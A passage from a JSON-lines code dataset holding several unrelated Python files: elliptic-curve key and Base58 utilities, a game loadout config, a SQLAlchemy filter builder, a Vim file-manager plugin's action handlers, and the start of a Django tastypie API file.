* (U1H2 - nx) - S1 * H3) % P\n nz = (H * p[2] * q[2]) % P\n return (nx, ny, nz)\n\n\ndef from_jacobian(p):\n z = inv(p[2], P)\n return ((p[0] * z**2) % P, (p[1] * z**3) % P)\n\n\ndef jacobian_multiply(a, n):\n if a[1] == 0 or n == 0:\n return (0, 0, 1)\n\n if n == 1:\n return a\n\n if n < 0 or n >= N:\n return jacobian_multiply(a, n % N)\n\n if (n % 2) == 0:\n return jacobian_double(jacobian_multiply(a, n // 2))\n\n if (n % 2) == 1:\n return jacobian_add(jacobian_double(jacobian_multiply(a, n // 2)), a)\n\n\ndef fast_multiply(a, n):\n return from_jacobian(jacobian_multiply(to_jacobian(a), n))\n\n\ndef fast_add(a, b):\n return from_jacobian(jacobian_add(to_jacobian(a), to_jacobian(b)))\n\n# Functions for handling pubkey and privkey formats\n\n\ndef get_pubkey_format(pub):\n if version_info.major == 2:\n two = '\\x02'\n three = '\\x03'\n four = '\\x04'\n else:\n two = 2\n three = 3\n four = 4\n\n if isinstance(pub, (tuple, list)):\n return 'decimal'\n elif len(pub) == 65 and pub[0] == four:\n return 'bin'\n elif len(pub) == 130 and pub[0:2] == '04':\n return 'hex'\n elif len(pub) == 33 and pub[0] in [two, three]:\n return 'bin_compressed'\n elif len(pub) == 66 and pub[0:2] in ['02', '03']:\n return 'hex_compressed'\n elif len(pub) == 64:\n return 'bin_electrum'\n elif len(pub) == 128:\n return 'hex_electrum'\n else:\n raise Exception(\"Pubkey not in recognized format\")\n\n\ndef encode_pubkey(pub, formt):\n if not isinstance(pub, (tuple, list)):\n pub = decode_pubkey(pub)\n\n if formt == 'decimal':\n return pub\n elif formt == 'bin':\n return b'\\x04' + pyspecials.encode(pub[0], 256, 32) + pyspecials.encode(pub[1], 256, 32)\n elif formt == 'bin_compressed':\n return pyspecials.from_int_to_byte(2 + (pub[1] % 2)) + pyspecials.encode(pub[0], 256, 32)\n elif formt == 'hex':\n return '04' + pyspecials.encode(pub[0], 16, 64) + pyspecials.encode(pub[1], 16, 64)\n elif formt == 'hex_compressed':\n return '0' + str(2 + (pub[1] % 2)) + pyspecials.encode(pub[0], 16, 64)\n elif formt == 'bin_electrum':\n return pyspecials.encode(pub[0], 256, 32) + pyspecials.encode(pub[1], 256, 32)\n elif formt == 'hex_electrum':\n return pyspecials.encode(pub[0], 16, 64) + pyspecials.encode(pub[1], 16, 64)\n else:\n raise Exception(\"Invalid format!\")\n\n\ndef decode_pubkey(pub, formt=None):\n if not formt:\n formt = get_pubkey_format(pub)\n\n if formt == 'decimal':\n return pub\n elif formt == 'bin':\n return (pyspecials.decode(pub[1:33], 256), pyspecials.decode(pub[33:65], 256))\n elif formt == 'bin_compressed':\n x = pyspecials.decode(pub[1:33], 256)\n beta = pow(int(x * x * x + A * x + B), int((P + 1) // 4), int(P))\n y = (P - beta) if ((beta + pyspecials.from_byte_to_int(pub[0])) % 2) else beta\n return (x, y)\n elif formt == 'hex':\n return (pyspecials.decode(pub[2:66], 16), pyspecials.decode(pub[66:130], 16))\n elif formt == 'hex_compressed':\n return decode_pubkey(pyspecials.safe_from_hex(pub), 'bin_compressed')\n elif formt == 'bin_electrum':\n return (pyspecials.decode(pub[:32], 256), pyspecials.decode(pub[32:64], 256))\n elif formt == 'hex_electrum':\n return (pyspecials.decode(pub[:64], 16), pyspecials.decode(pub[64:128], 16))\n else:\n raise Exception(\"Invalid format!\")\n\n\ndef get_privkey_format(priv):\n if isinstance(priv, pyspecials.int_types):\n return 'decimal'\n elif len(priv) == 32:\n return 'bin'\n elif len(priv) == 33:\n return 'bin_compressed'\n elif len(priv) == 64:\n return 'hex'\n elif len(priv) == 66:\n return 'hex_compressed'\n else:\n bin_p = b58check_to_bin(priv)\n\n if len(bin_p) == 32:\n return 'wif'\n elif len(bin_p) == 33:\n return 'wif_compressed'\n else:\n raise Exception(\"WIF does not represent privkey\")\n\n\ndef encode_privkey(priv, formt, vbyte=0):\n if not isinstance(priv, pyspecials.int_types):\n return encode_privkey(decode_privkey(priv), formt, vbyte)\n\n if formt == 'decimal':\n return priv\n elif formt == 'bin':\n return pyspecials.encode(priv, 256, 32)\n elif formt == 'bin_compressed':\n return pyspecials.encode(priv, 256, 32) + b'\\x01'\n elif formt == 'hex':\n return pyspecials.encode(priv, 16, 64)\n elif formt == 'hex_compressed':\n return pyspecials.encode(priv, 16, 64) + '01'\n elif formt == 'wif':\n return pyspecials.bin_to_b58check(pyspecials.encode(priv, 256, 32),\n 128 + int(vbyte))\n elif formt == 'wif_compressed':\n return pyspecials.bin_to_b58check(pyspecials.encode(priv, 256, 32) +\n b'\\x01', 128 + int(vbyte))\n else:\n raise Exception(\"Invalid format!\")\n\n\ndef decode_privkey(priv, formt=None):\n if not formt:\n formt = get_privkey_format(priv)\n\n if formt == 'decimal':\n return priv\n elif formt == 'bin':\n return pyspecials.decode(priv, 256)\n elif formt == 'bin_compressed':\n return pyspecials.decode(priv[:32], 256)\n elif formt == 'hex':\n return pyspecials.decode(priv, 16)\n elif formt == 'hex_compressed':\n return pyspecials.decode(priv[:64], 16)\n elif formt == 'wif':\n return pyspecials.decode(b58check_to_bin(priv), 256)\n elif formt == 'wif_compressed':\n return pyspecials.decode(b58check_to_bin(priv)[:32], 256)\n else:\n raise Exception(\"WIF does not represent privkey\")\n\n\ndef add_pubkeys(p1, p2):\n f1, f2 = get_pubkey_format(p1), get_pubkey_format(p2)\n return encode_pubkey(fast_add(decode_pubkey(p1, f1), decode_pubkey(p2, f2)), f1)\n\n\ndef add_privkeys(p1, p2):\n f1, f2 = get_privkey_format(p1), get_privkey_format(p2)\n return encode_privkey((decode_privkey(p1, f1) + decode_privkey(p2, f2)) % N, f1)\n\n\ndef mul_privkeys(p1, p2):\n f1, f2 = get_privkey_format(p1), get_privkey_format(p2)\n return encode_privkey((decode_privkey(p1, f1) * decode_privkey(p2, f2)) % N, f1)\n\n\ndef multiply(pubkey, privkey):\n f1, f2 = get_pubkey_format(pubkey), get_privkey_format(privkey)\n pubkey, privkey = decode_pubkey(pubkey, f1), decode_privkey(privkey, f2)\n\n # http://safecurves.cr.yp.to/twist.html\n if not isinf(pubkey) and (pubkey[0] ** 3 + B - pubkey[1] * pubkey[1]) % P != 0:\n raise Exception(\"Point not on curve\")\n\n return encode_pubkey(fast_multiply(pubkey, privkey), f1)\n\n\ndef divide(pubkey, privkey):\n factor = inv(decode_privkey(privkey), N)\n return multiply(pubkey, factor)\n\n\ndef compress(pubkey):\n f = get_pubkey_format(pubkey)\n\n if 'compressed' in f:\n return pubkey\n elif f == 'bin':\n return encode_pubkey(decode_pubkey(pubkey, f), 'bin_compressed')\n elif f == 'hex' or f == 'decimal':\n return encode_pubkey(decode_pubkey(pubkey, f), 'hex_compressed')\n\n\ndef decompress(pubkey):\n f = get_pubkey_format(pubkey)\n\n if 'compressed' not in f:\n return pubkey\n elif f == 'bin_compressed':\n return encode_pubkey(decode_pubkey(pubkey, f), 'bin')\n elif f == 'hex_compressed' or f == 'decimal':\n return encode_pubkey(decode_pubkey(pubkey, f), 'hex')\n\n\ndef privkey_to_pubkey(privkey):\n f = get_privkey_format(privkey)\n privkey = decode_privkey(privkey, f)\n if privkey >= N:\n raise Exception(\"Invalid privkey\")\n if f in ['bin', 'bin_compressed', 'hex', 'hex_compressed', 'decimal']:\n return encode_pubkey(fast_multiply(G, privkey), f)\n else:\n return encode_pubkey(fast_multiply(G, privkey), f.replace('wif', 'hex'))\n\n\nprivtopub = privkey_to_pubkey\n\n\ndef neg_pubkey(pubkey):\n f = get_pubkey_format(pubkey)\n pubkey = decode_pubkey(pubkey, f)\n return encode_pubkey((pubkey[0], (P - pubkey[1]) % P), f)\n\n\ndef neg_privkey(privkey):\n f = get_privkey_format(privkey)\n privkey = decode_privkey(privkey, f)\n return encode_privkey((N - privkey) % N, f)\n\n\ndef subtract_pubkeys(p1, p2):\n f1, f2 = get_pubkey_format(p1), get_pubkey_format(p2)\n k2 = decode_pubkey(p2, f2)\n return encode_pubkey(fast_add(decode_pubkey(p1, f1), (k2[0], (P - k2[1]) % P)), f1)\n\n\ndef subtract_privkeys(p1, p2):\n f1, f2 = get_privkey_format(p1), get_privkey_format(p2)\n k2 = decode_privkey(p2, f2)\n return encode_privkey((decode_privkey(p1, f1) - k2) % N, f1)\n\n\n# Hashes\n\ndef bin_hash160(string):\n intermed = hashlib.sha256(string).digest()\n digest = ''\n\n '''\n try:\n digest = hashlib.new('ripemd160', intermed).digest()\n except Exception:\n digest = RIPEMD160(intermed).digest()\n '''\n\n digest = hashlib.new('ripemd160', intermed).digest()\n\n return digest\n\n\ndef hash160(string):\n return pyspecials.safe_hexlify(bin_hash160(string))\n\n\ndef bin_sha256(string):\n binary_data = string if isinstance(string, bytes) else bytes(string, 'utf-8')\n return hashlib.sha256(binary_data).digest()\n\n\ndef sha256(string):\n return pyspecials.bytes_to_hex_string(bin_sha256(string))\n\n\n'''\ndef bin_ripemd160(string):\n try:\n digest = hashlib.new('ripemd160', string).digest()\n except Exception:\n digest = RIPEMD160(string).digest()\n return digest\n\n\ndef ripemd160(string):\n return safe_hexlify(bin_ripemd160(string))\n'''\n\n\ndef bin_dbl_sha256(s):\n bytes_to_hash = pyspecials.from_string_to_bytes(s)\n return hashlib.sha256(hashlib.sha256(bytes_to_hash).digest()).digest()\n\n\ndef dbl_sha256(string):\n return pyspecials.safe_hexlify(bin_dbl_sha256(string))\n\n\ndef bin_slowsha(string):\n string = pyspecials.from_string_to_bytes(string)\n orig_input = string\n for i in range(100000):\n string = hashlib.sha256(string + orig_input).digest()\n return string\n\n\ndef slowsha(string):\n return pyspecials.safe_hexlify(bin_slowsha(string))\n\n\ndef hash_to_int(x):\n if len(x) in [40, 64]:\n return pyspecials.decode(x, 16)\n return pyspecials.decode(x, 256)\n\n\ndef num_to_var_int(x):\n x = int(x)\n\n if x < 253:\n return pyspecials.from_int_to_byte(x)\n elif x < 65536:\n return pyspecials.from_int_to_byte(253) + pyspecials.encode(x, 256, 2)[::-1]\n elif x < 4294967296:\n return pyspecials.from_int_to_byte(254) + pyspecials.encode(x, 256, 4)[::-1]\n else:\n return pyspecials.from_int_to_byte(255) + pyspecials.encode(x, 256, 8)[::-1]\n\n\n# WTF, Electrum?\ndef electrum_sig_hash(message):\n padded = b\"\\x18Bitcoin Signed Message:\\n\" + num_to_var_int(len(message))\\\n + pyspecials.from_string_to_bytes(message)\n return bin_dbl_sha256(padded)\n\n\ndef random_key():\n # Gotta be secure after that java.SecureRandom fiasco...\n entropy = pyspecials.random_string(32) \\\n + str(random.randrange(2**256)) \\\n + str(int(time.time() * 1000000))\n return sha256(entropy)\n\n\ndef random_electrum_seed():\n # entropy = os.urandom(32) \\ # fails in Python 3, hence copied from random_key()\n entropy = pyspecials.random_string(32) \\\n + str(random.randrange(2**256)) \\\n + str(int(time.time() * 1000000))\n return sha256(entropy)[:32]\n\n\n# Encodings\n\n\ndef b58check_to_bin(inp):\n leadingzbytes = len(re.match('^1*', inp).group(0))\n data = b'\\x00' * leadingzbytes + pyspecials.changebase(inp, 58, 256)\n assert bin_dbl_sha256(data[:-4])[:4] == data[-4:]\n return data[1:-4]\n\n\ndef get_version_byte(inp):\n leadingzbytes = len(re.match('^1*', inp).group(0))\n data = b'\\x00' * leadingzbytes + pyspecials.changebase(inp, 58, 256)\n assert bin_dbl_sha256(data[:-4])[:4] == data[-4:]\n return ord(data[0])\n\n\ndef hex_to_b58check(inp, magicbyte=0):\n return pyspecials.bin_to_b58check(binascii.unhexlify(inp), magicbyte)\n\n\ndef b58check_to_hex(inp):\n return pyspecials.safe_hexlify(b58check_to_bin(inp))\n\n\ndef is_privkey(priv):\n try:\n get_privkey_format(priv)\n return True\n except Exception:\n return False\n\n\ndef is_pubkey(pubkey):\n try:\n get_pubkey_format(pubkey)\n return True\n except Exception:\n return False\n\n\ndef is_address(addr):\n ADDR_RE = re.compile(\"^[123mn][a-km-zA-HJ-NP-Z0-9]{26,33}$\")\n return bool(ADDR_RE.match(addr))\n\n\n# add/subtract\ndef add(p1, p2):\n if is_privkey(p1):\n return add_privkeys(p1, p2)\n else:\n return add_pubkeys(p1, p2)\n\n\ndef subtract(p1, p2):\n if is_privkey(p1):\n return subtract_privkeys(p1, p2)\n else:\n return subtract_pubkeys(p1, p2)\n","sub_path":"eth_account/hdaccount/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":15110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"501324658","text":"import base\n\nclass cdf_recce_base(base.Base):\n\tclass NoWrite: pass\n\tbinoc = 'VTN_B15'\n\theadgear = 'H_Booniehat_oli'\n\titems = base.Base.items + ['tf_pnr1000a']\n\n\tclass HandGun:\n\t\tweapon = 'RH_tt33'\n\t\tmags = [['RH_8Rnd_762_tt33', 8]]\n\n\tclass Uniform:\n\t\ttype = 'Niko_USA_M81'\n\t\titems = base.Base.Uniform.items + [\n\t\t\t['RH_8Rnd_762_tt33', 2],\n\t\t]\n\tclass Vest:\n\t\ttype = 'sh_chdkz_v_carrierlite_olv'\n\t\titems = [\n\t\t\t['VTN_RDG2B', 1],\n\t\t]\n\tclass Backpack:\n\t\ttype = 'B_Kitbag_rgr'\n\t\titems = [\n\t\t\t['VTN_1PN74', 1],\n\t\t\t['VTN_RDG2B', 1],\n\t\t\t['rhs_mag_rgd5', 2],\n\t\t]\n\nclass cdf_recce_rifleman(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_AKMSN_40s'\n\t\toptic = 'VTN_OPTIC_1P76'\n\t\tmags = [\n\t\t\t['VTN_RPK_40s_SC', 40],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['VTN_RPK_40s_SC', 2],\n\t\t]\n\tclass Backpack(cdf_recce_base.Backpack):\n\t\titems = cdf_recce_base.Backpack.items + [\n\t\t\t['VTN_RPK_40s_AP', 1],\n\t\t\t['VTN_RPK_40s_TRC', 1],\n\t\t\t['VTN_MUZZLE_PBS1', 1],\n\t\t\t['VTN_6CH3', 1],\n\t\t\t['VTN_MUZZLE_DTK1L', 1],\n\t\t]\n\nclass cdf_recce_sl(cdf_recce_rifleman):\n\tclass Primary:\n\t\tweapon = 'VTN_AKMS_T_P'\n\t\toptic = 'VTN_OPTIC_1P76'\n\t\tmags = [\n\t\t\t['VTN_RPK_40s_SC', 40],\n\t\t]\n\tclass Backpack(cdf_recce_rifleman.Backpack):\n\t\titems = cdf_recce_rifleman.Backpack.items + [\n\t\t\t['tf_anprc148jem', 1],\n\t\t\t['alive_tablet', 1],\n\t\t]\n\nclass cdf_recce_tl(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_AK74M_GP30M'\n\t\toptic = 'VTN_OPTIC_1P76'\n\t\tmags = [\n\t\t\t['VTN_AK74_30p_SC', 30],\n\t\t\t['VTN_VOG25', 1],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\ttype = 'V_I_G_resistanceLeader_F'\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['tf_anprc148jem', 1],\n\t\t\t['VTN_AK74_30p_SC', 3],\n\t\t]\n\n\tclass Backpack(cdf_recce_base.Backpack):\n\t\titems = cdf_recce_base.Backpack.items + [\n\t\t\t['VTN_MUZZLE_DTK_AKS545', 1],\n\t\t\t['VTN_VG40MD', 5],\n\t\t\t['VTN_VG40OP', 10],\n\t\t\t['VTN_VGS401', 2],\n\t\t\t['VTN_VGS402', 2],\n\t\t]\n\nclass cdf_recce_lmg(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_PKP'\n\t\tmags = [\n\t\t\t['VTN_PK_100s_SC', 100],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['VTN_PK_100s_SC', 1],\n\t\t]\n\tclass Backpack(cdf_recce_base.Backpack):\n\t\titems = cdf_recce_base.Backpack.items + [\n\t\t\t['VTN_PK_100s_SC', 2],\n\t\t\t['VTN_PK_100s_TRC', 1],\n\t\t]\n\nclass cdf_recce_medic(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_AK74M'\n\t\toptic = 'VTN_OPTIC_1P76'\n\t\tmags = [\n\t\t\t['VTN_AK74_30b_SC', 30],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['VTN_RDG2B', 2],\n\t\t\t['VTN_AK74_30b_SC', 2],\n\t\t]\n\tclass Backpack(cdf_recce_base.Backpack):\n\t\titems = cdf_recce_base.Backpack.items + base.MedicSupplies + [\n\t\t\t['VTN_AK74_30b_SC', 3],\n\t\t\t['VTN_MUZZLE_DTK_545', 1],\n\t\t\t['VTN_RDG2B', 3],\n\t\t]\n\nclass cdf_recce_gren(cdf_recce_tl):\n\tclass Primary(cdf_recce_tl.Primary):\n\t\tweapon = 'VTN_AKS74N_GP25_30p'\n\n\tclass Backpack(cdf_recce_tl.Backpack):\n\t\titems = cdf_recce_tl.Backpack.items + [\n\t\t\t['VTN_VOG25P', 5],\n\t\t]\n\nclass cdf_recce_rto(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_AKMS_T_P'\n\t\tmags = [\n\t\t\t['VTN_RPK_40s_SC', 40],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['VTN_RPK_40s_SC', 3],\n\t\t\t['tf_anprc148jem', 2],\n\t\t]\n\tclass Backpack:\n\t\ttype = 'VTN_BP_R168KNE_FLORA'\n\n\nclass cdf_recce_svd(cdf_recce_base):\n\tclass Primary:\n\t\tweapon = 'VTN_SVD'\n\t\toptic = 'VTN_OPTIC_1P43M2'\n\t\tmags = [\n\t\t\t['VTN_SVD_10s_SC', 10],\n\t\t]\n\tclass Vest(cdf_recce_base.Vest):\n\t\titems = cdf_recce_base.Vest.items + [\n\t\t\t['VTN_SVD_10s_TRC', 1],\n\t\t]\n\tclass Backpack(cdf_recce_base.Backpack):\n\t\titems = cdf_recce_base.Backpack.items + [\n\t\t\t['VTN_SVD_10s_SC', 3],\n\t\t\t['VTN_SVD_10s_AP', 4],\n\t\t]\n","sub_path":"loads/cdf_recce_2009.py","file_name":"cdf_recce_2009.py","file_ext":"py","file_size_in_byte":3625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"227530388","text":"from zope.component.factory import Factory\nfrom zope import component\nfrom zope import interface\nfrom zope.schema.fieldproperty import FieldProperty\nfrom sqlalchemy import and_, or_\nfrom . import interfaces as qry_ifaces\nfrom . import query\n\n@interface.implementer(qry_ifaces.ISAModelFilterExpression)\nclass SAModelFilterExpression(object):\n def __init__(self, *args, **kwargs):\n self.attribute = args[0] if len(args)>0 else kwargs['attribute']\n self.condition = args[1] if len(args)>1 else kwargs['condition']\n if len(args)>2 or 'value' in kwargs:\n self.value = args[2] if len(args)>2 else kwargs['value']\n condition = FieldProperty(qry_ifaces.ISAModelFilterExpression['condition'])\n value = FieldProperty(qry_ifaces.ISAModelFilterExpression['value'])\nSAModelFilterExpressionFactory = Factory(SAModelFilterExpression)\n\n@interface.implementer(qry_ifaces.ISAExpression)\n@component.adapter(qry_ifaces.ISAModelFilterExpression)\nclass SAExpressionFromSAModelFilterExpression(object):\n def __new__(self, context):\n c = context.condition\n if c == '==' or c.lower() == 'equals':\n _return = context.attribute.__eq__(context.value)\n elif c == '!=' or c.lower() == 'not equals':\n _return = context.attribute.__ne__(context.value)\n elif c == '<' or c.lower() == 'less than':\n _return = context.attribute.__lt__(context.value)\n elif c == '<=' or c.lower() == 'less than equal':\n _return = context.attribute.__le__(context.value)\n elif c == '>' or c.lower() == 'greater than':\n _return = context.attribute.__gt__(context.value)\n elif c == '>=' or c.lower() == 'greater than equal':\n _return = context.attribute.__ge__(context.value)\n elif c.lower() == 'like':\n _return = context.attribute.like(context.value)\n elif c.lower() == 'ilike':\n _return = context.attribute.ilike(context.value)\n elif c.lower() == 'in':\n _return = context.attribute.in_(context.value)\n elif c.lower() == 'not in':\n _return = ~context.attribute.in_(context.value)\n elif c.lower() == 'is null':\n _return = context.attribute.is_(None)\n elif c.lower() == 'is not null':\n _return = context.attribute.isnot(None)\n else:\n raise ValueError(\"received unexpected condition {}\".format(c))\n interface.alsoProvides(_return, qry_ifaces.ISAExpression)\n return _return\n\n@interface.implementer(qry_ifaces.ISAModelFilterExpressionGroup)\nclass SAModelFilterExpressionGroup(object):\n def __init__(self, *args, **kwargs):\n if len(args) > 0:\n self.conjunction = args[0]\n if 'conjunction' in kwargs:\n self.conjunction = kwargs['conjunction']\n if len(args) > 1:\n self.expressions = args[1]\n if 'expressions' in kwargs:\n self.expressions = kwargs['expressions']\n conjunction = FieldProperty(qry_ifaces.ISAModelFilterExpressionGroup['conjunction'])\n expressions = FieldProperty(qry_ifaces.ISAModelFilterExpressionGroup['expressions'])\nSAModelFilterExpressionGroupFactory = Factory(SAModelFilterExpressionGroup)\n\ndef resolve_expression_group(eg):\n \"\"\"Recursive expression group resolver\n \n Args:\n eg: ISAModelFilterExpressionGroup provider\n \n Returns:\n SQLAlchemy conjunction for given expression group\n \"\"\"\n conj = and_ if eg.conjunction.upper() == 'AND' else or_\n expressions = []\n for cond in eg.expressions:\n if qry_ifaces.ISAModelFilterExpressionGroup.providedBy(cond):\n expressions.append(resolve_expression_group(cond))\n else: #ISAModelFilterExpression\n expressions.append(qry_ifaces.ISAExpression(cond))\n return conj(*expressions)\n\n@interface.implementer(qry_ifaces.ISAConjunction)\n@component.adapter(qry_ifaces.ISAModelFilterExpressionGroup)\nclass SAConjunctionFromSAModelFilterExpressionGroup(object):\n \n def __new__(cls, context):\n conj = resolve_expression_group(context)\n interface.alsoProvides(conj, qry_ifaces.ISAConjunction)\n return conj\n\n\n\ndef is_expression_container(container):\n return 'attribute' in container and 'condition' in container\n\ndef is_expression_group_container(container):\n return 'conjunction' in container and 'expressions' in container\n\ndef convert_expression_group_container(Base, eg_container):\n \"\"\"Recursive expression group container converter\n \n Args:\n eg_container: container with keys related to ISAModelFilterExpressionGroup containment\n \n Returns:\n ISAModelFilterExpressionGroup provider\n \"\"\"\n conj = eg_container['conjunction'].upper()\n expressions = []\n for cond in eg_container['expressions']:\n if is_expression_group_container(cond):\n expressions.append(convert_expression_group_container(cond))\n else: #ISAModelFilterExpression container\n cond['attribute'] = query.SAInstrumentedAttributeFromDottedStringFactory(Base, cond['attribute'])\n expressions.append(SAModelFilterExpressionFactory(**cond))\n return SAModelFilterExpressionGroupFactory(\n conjunction=conj, expressions=set(expressions))\n\n@interface.implementer(qry_ifaces.ISAModelFilterExpressionGroup)\nclass SAModelFilterExpressionGroupFromContainer(object):\n def __new__(self, Base, container):\n \"\"\"Return ISAModelFilterExpressionGroup based on formated container\n \n Container format should follow this paradigm:\n {\n 'conjunction': 'and',\n 'expressions':\n [\n {'attribute':'model.field1', 'condition':'==', 'value':'value1'},\n {'attribute':'model.field2', 'condition':'!=', 'value':'value2'},\n {\n 'conjunction': 'or',\n 'expressions':\n [\n {'attribute':'model.field3', 'condition':'==', 'value':'value3'},\n {'attribute':'model.field4', 'condition':'is null'}\n ]\n }\n ]\n }\n \"\"\"\n return convert_expression_group_container(Base, container)\nSAModelFilterExpressionGroupFromContainerFactory = Factory(SAModelFilterExpressionGroupFromContainer)\n","sub_path":"sparc/sa/orm/query/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":6389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"1271081","text":"# ============================================================================\n# FILE: action.py\n# AUTHOR: Shougo Matsushita \n# License: MIT license\n# ============================================================================\n\nfrom enum import auto, IntFlag\nimport importlib\nimport os\nimport typing\nimport shutil\n\nfrom defx.context import Context\nfrom defx.defx import Defx\nfrom defx.util import error, cwd_input, expand, confirm\nfrom defx.view import View\n\n\ndef do_action(view: View, defx: Defx,\n action_name: str, context: Context) -> bool:\n \"\"\"\n Do \"action_name\" action.\n \"\"\"\n if action_name not in DEFAULT_ACTIONS:\n return True\n action = DEFAULT_ACTIONS[action_name]\n action.func(view, defx, context)\n if ActionAttr.REDRAW in action.attr:\n view.redraw(True)\n return False\n\n\ndef _cd(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Change the current directory.\n \"\"\"\n path = context.args[0] if context.args else expand('~')\n path = os.path.normpath(os.path.join(defx._cwd, path))\n if not os.path.isdir(path):\n error(view._vim, '{} is not directory'.format(path))\n return\n\n view.cd(defx, path, context.cursor)\n view._selected_candidates = []\n\n\ndef _new_directory(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Create a new directory.\n \"\"\"\n filename = cwd_input(view._vim, defx._cwd,\n 'Please input a new directory: ', '', 'dir')\n if os.path.exists(filename):\n error(view._vim, '{} is already exists'.format(filename))\n return\n\n os.mkdir(filename)\n view.redraw(True)\n view.search_file(filename, defx._index)\n\n\ndef _new_file(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Create a new file and it's parent directories.\n \"\"\"\n filename = cwd_input(view._vim, defx._cwd,\n 'Please input a new filename: ', '', 'file')\n if os.path.exists(filename):\n error(view._vim, '{} is already exists'.format(filename))\n return\n\n dirname = os.path.dirname(filename)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n with open(filename, 'w') as f:\n f.write('')\n view.redraw(True)\n view.search_file(filename, defx._index)\n\n\ndef _open(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Open the file.\n \"\"\"\n cwd = view._vim.call('getcwd')\n command = context.args[0] if context.args else 'edit'\n for target in context.targets:\n path = target['action__path']\n\n if os.path.isdir(path):\n view.cd(defx, path, context.cursor)\n else:\n if path.startswith(cwd):\n path = os.path.relpath(path, cwd)\n view._vim.call('defx#util#execute_path', command, path)\n\n\ndef _print(view: View, defx: Defx, context: Context) -> None:\n for target in context.targets:\n view._vim.call('defx#util#print_debug', target['action__path'])\n\n\ndef _quit(view: View, defx: Defx, context: Context) -> None:\n view.quit()\n\n\ndef _redraw(view: View, defx: Defx, context: Context) -> None:\n pass\n\n\ndef _remove(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Delete the file or directory.\n \"\"\"\n message = 'Are you sure you want to delete {}?'.format(\n context.targets[0]['action__path']\n if len(context.targets) == 1\n else str(len(context.targets)) + ' files')\n if not confirm(view._vim, message):\n return\n\n for target in context.targets:\n path = target['action__path']\n\n if os.path.isdir(path):\n shutil.rmtree(path)\n else:\n os.remove(path)\n view.redraw(True)\n\n\ndef _remove_trash(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Delete the file or directory.\n \"\"\"\n if not importlib.find_loader('send2trash'):\n error(view._vim, '\"Send2Trash\" is not installed')\n return\n\n message = 'Are you sure you want to delete {}?'.format(\n context.targets[0]['action__path']\n if len(context.targets) == 1\n else str(len(context.targets)) + ' files')\n if not confirm(view._vim, message):\n return\n\n import send2trash\n for target in context.targets:\n send2trash.send2trash(target['action__path'])\n view.redraw(True)\n\n\ndef _rename(view: View, defx: Defx, context: Context) -> None:\n \"\"\"\n Rename the file or directory.\n \"\"\"\n for target in context.targets:\n path = target['action__path']\n filename = cwd_input(\n view._vim, defx._cwd,\n ('New name: {} -> '.format(path)), path, 'file')\n if not filename or filename == path:\n continue\n if os.path.exists(filename):\n error(view._vim, '{} is already exists'.format(filename))\n continue\n\n os.rename(path, filename)\n\n view.redraw(True)\n view.search_file(filename, defx._index)\n\n\ndef _toggle_select(view: View, defx: Defx, context: Context) -> None:\n index = context.cursor - 1\n if index in view._selected_candidates:\n view._selected_candidates.remove(index)\n else:\n view._selected_candidates.append(index)\n view.redraw()\n\n\ndef _toggle_select_all(view: View, defx: Defx, context: Context) -> None:\n for [index, candidate] in enumerate(view._candidates):\n if (not candidate.get('is_root', False) and\n candidate['_defx_index'] == defx._index):\n if index in view._selected_candidates:\n view._selected_candidates.remove(index)\n else:\n view._selected_candidates.append(index)\n view.redraw()\n\n\nclass ActionAttr(IntFlag):\n REDRAW = auto()\n NONE = 0\n\n\nclass ActionTable(typing.NamedTuple):\n func: typing.Callable[[View, Defx, Context], None]\n attr: ActionAttr = ActionAttr.NONE\n\n\nDEFAULT_ACTIONS = {\n 'cd': ActionTable(func=_cd),\n 'open': ActionTable(func=_open),\n 'new_directory': ActionTable(func=_new_directory),\n 'new_file': ActionTable(func=_new_file),\n 'print': ActionTable(func=_print),\n 'quit': ActionTable(func=_quit),\n 'redraw': ActionTable(func=_redraw, attr=ActionAttr.REDRAW),\n 'remove': ActionTable(func=_remove),\n 'remove_trash': ActionTable(func=_remove_trash),\n 'rename': ActionTable(func=_rename),\n 'toggle_select': ActionTable(func=_toggle_select),\n 'toggle_select_all': ActionTable(func=_toggle_select_all),\n}\n","sub_path":"rplugin/python3/defx/action.py","file_name":"action.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"551702146","text":"from django.shortcuts import render\nfrom tastypie.resources import ModelResource\nfrom core.models import User, Bank\nfrom custom import CustomModelResource, UserAuthorization, BankAuthorization\nfrom tastypie import fields\nfrom tastypie.models import create_api_key\nfrom django.db import models\n\nmodels.signals.post_save.connect(create_api_key, sender=User)\n\nclass UserResource(CustomModelResource):\n class Meta:\n queryset = User.objects.all()\n resource_name = 'moderator'\n authorization = UserAuthorization()\n\nclass BankResource(CustomModelResource):\n\t#mod = fields.ToOneField('api.views.UserResource', 'moderator', full=True)\n\tclass Meta:\n\t\tqueryset = 